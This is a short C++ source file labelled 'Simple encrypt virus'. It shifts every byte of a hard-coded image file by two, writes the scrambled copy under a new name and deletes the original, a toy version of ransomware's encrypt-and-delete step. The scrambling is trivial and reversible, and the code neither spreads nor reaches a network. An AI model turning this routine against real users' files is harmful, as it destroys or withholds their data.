Simple encrypt virus in C++

simple-encrypt-virus.cpp

#include <iostream>
#include <fstream>
using namespace std;

int main() {
    ifstream EncodeFile("encode.jpg", ifstream::binary);
    ofstream DecodeFile("decode.jpg", ofstream::binary);

    if (EncodeFile) {
        EncodeFile.seekg (0, EncodeFile.end);
        int length = EncodeFile.tellg();
        EncodeFile.seekg(0, EncodeFile.beg);

        char* buffer = new char[length];
        EncodeFile.read(buffer, length);

        for (int i = 0; i < length; ++i)
            buffer[i] -= 2;

        DecodeFile.write(buffer, length);
        delete[] buffer;
    }

    EncodeFile.close();
    DecodeFile.close();

    remove("encode.jpg");
    return 0;
}